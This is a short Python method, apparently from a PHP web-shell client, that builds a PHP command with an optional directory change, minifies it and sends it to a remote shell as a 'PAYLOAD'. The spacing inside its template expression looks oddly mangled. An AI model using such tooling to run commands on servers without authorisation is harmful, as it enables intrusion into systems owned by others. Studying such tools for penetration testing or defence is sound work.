'Run module'

def run(self):

    if (self.session['shell_php'].get('status') != Status.RUN):
        self.setup()
    cwd = self._get_stored_result('cwd', module='file_cd', default='.')
    chdir = ('' if (cwd == '.') else ("chdir('%s');" % cwd))
    self.args.update({'chdir': chdir})
    command = Template("${chdir}${prefix_string}${    '    '.join(command)    }${postfix_string}").render(**self.args)
    if self.session['shell_php']['stored_args'].get('minify', True):
        minified = utils.code.minify_php(command)
        self.session['shell_php']['stored_args']['minify'] = bool(minified)
        command = (minified if minified else command)
    log.debug(('PAYLOAD    %s' % command))
    (response, code, error) = self.channel.send(command)
    return response
